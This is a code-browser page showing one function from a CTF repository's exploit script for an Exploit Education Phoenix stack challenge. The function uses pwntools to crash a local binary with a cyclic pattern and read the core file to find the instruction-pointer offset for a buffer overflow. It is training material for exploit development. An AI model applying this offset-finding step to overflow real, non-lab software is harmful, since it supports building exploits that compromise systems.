MCPcopy Create free account
hub / github.com/Crypto-Cat/CTF / find_ip

Function find_ip

pwn/exploit_education/phoenix/stack/5-stack/exploit.py:15–26  ·  view source on GitHub ↗
(payload)

Source from the content-addressed store, hash-verified

13
14# Find offset to EIP/RIP for buffer overflows
15def find_ip(payload):
16 # Launch process and send payload
17 p = process(exe)
18 p.recvline()
19 p.sendline(payload)
20 # Wait for the process to crash
21 p.wait()
22 # Print out the address of EIP/RIP at the time of crashing
23 # ip_offset = cyclic_find(p.corefile.pc) # x86
24 ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64
25 info('located EIP/RIP offset at {a}'.format(a=ip_offset))
26 return ip_offset
27
28
29# Specify GDB script here (breakpoints etc)

Callers 1

exploit.pyFile · 0.70

Calls

no outgoing calls

Tested by

no test coverage detected